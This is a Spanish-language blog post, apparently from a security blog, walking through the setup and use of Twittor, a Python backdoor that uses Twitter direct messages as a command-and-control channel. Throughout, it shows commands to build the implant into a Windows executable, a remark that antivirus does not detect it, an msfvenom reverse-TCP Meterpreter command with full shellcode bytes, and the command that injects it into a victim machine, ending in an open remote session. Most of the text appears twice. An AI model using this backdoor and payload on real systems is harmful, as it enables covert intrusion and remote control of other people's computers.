Twittor es un backdoor escrito en Python que utiliza Twitter (mensajes directos) como servidor C&C. Está inspirado en el proyecto GCat que hacía lo mismo pero usando una cuenta de GMail.
Para probarlo necesitamos una cuenta de Twitter; no creo que tenga que deciros a estas alturas que no uséis la vuestra personal ;)
Registramos la aplicación y le damos permisos de lectura, escritura y acceso a mensajes directos.
Después bajamos los archivos del repositorio:
e instalamos los requisitos (por el momento sólo tweepy):
Luego tenemos que añadir las claves de la aplicación que hemos creado en Twitter en ambos scripts, twittor.py (cliente) e implant.py (el backdoor a desplegar):
Ahora vamos a compilar el backdoor con pyinstaller para facilitar su ejecución en un cliente Windows:
Si queréis con un servicio multiAV podréis comprobar que de momento el ejecutable es FuD: Virus Scan Result
A continuación ejecutaremos el cliente desde la máquina del atacante, obteniendo un shell interactivo:
Cómo veis automáticamente ya ha detectado el primer bot. Podéis comprobarlo directamente:
Vamos a obtener una sesión remota contra la máquina Windows de la víctima. Para ello primero generaremos un shellcode para meterpreter:
Y luego lo lanzamos con el comando !shellcode:
También podemos listar el resto de comandos disponibles con 'help' (que básicamente son !cmd y !retreive):
Por último y por curiosidad podemos echar un vistazo a la intensa actividad de los mensajes directos en nuestra cuenta de Twitter:
Fuente: https://github.com/PaulSec/twittor
Para probarlo necesitamos una cuenta de Twitter; no creo que tenga que deciros a estas alturas que no uséis la vuestra personal ;)
Registramos la aplicación y le damos permisos de lectura, escritura y acceso a mensajes directos.
Después bajamos los archivos del repositorio:
git clone https://github.com/PaulSec/twittor.git
e instalamos los requisitos (por el momento sólo tweepy):
pip install -r requirements.txt
Luego tenemos que añadir las claves de la aplicación que hemos creado en Twitter en ambos scripts, twittor.py (cliente) e implant.py (el backdoor a desplegar):
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
Ahora vamos a compilar el backdoor con pyinstaller para facilitar su ejecución en un cliente Windows:
pip install pyinstaller
vmotos@kali:/hpys/pruebas/twittor$ pyinstaller --on-file implant.py
Si queréis con un servicio multiAV podréis comprobar que de momento el ejecutable es FuD: Virus Scan Result
A continuación ejecutaremos el cliente desde la máquina del atacante, obteniendo un shell interactivo:
$ python twittor.py
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
00:40:26:D0:00:06: Windows-7-6.1.7601-SP1
Cómo veis automáticamente ya ha detectado el primer bot. Podéis comprobarlo directamente:
$ list_bots
00:40:26:D0:00:06: Windows-7-6.1.7601-SP1
Vamos a obtener una sesión remota contra la máquina Windows de la víctima. Para ello primero generaremos un shellcode para meterpreter:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=4444 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x3c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xe6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x52\xff\xe0\x5f"
buf += "\x5f\x5a\x8c\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\xce\x80\x68"
buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x30\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x10\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x4b\x36\x6a"
buf += "\x40\x61\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe3\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
Y luego lo lanzamos con el comando !shellcode:
!shellcode 00:40:26:D0:00:06 \xfc\xe8\x82\x00\x00\x00\x60\....
[+] Sent shellcode with jobid: 4FXIcqb
Y comprobamos que el shell inverso ha funcionado correctamente:msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.206.128:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:4444 -> 192.168.206.1:16645) at 2015-09-10 12:14:24 -0400
meterpreter > getuid
Server username: DOMINIO\vmotos
meterpreter >
¡Perfecto!También podemos listar el resto de comandos disponibles con 'help' (que básicamente son !cmd y !retreive):
$ help
refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
Por último y por curiosidad podemos echar un vistazo a la intensa actividad de los mensajes directos en nuestra cuenta de Twitter:
Fuente: https://github.com/PaulSec/twittor
Comentarios
Publicar un comentario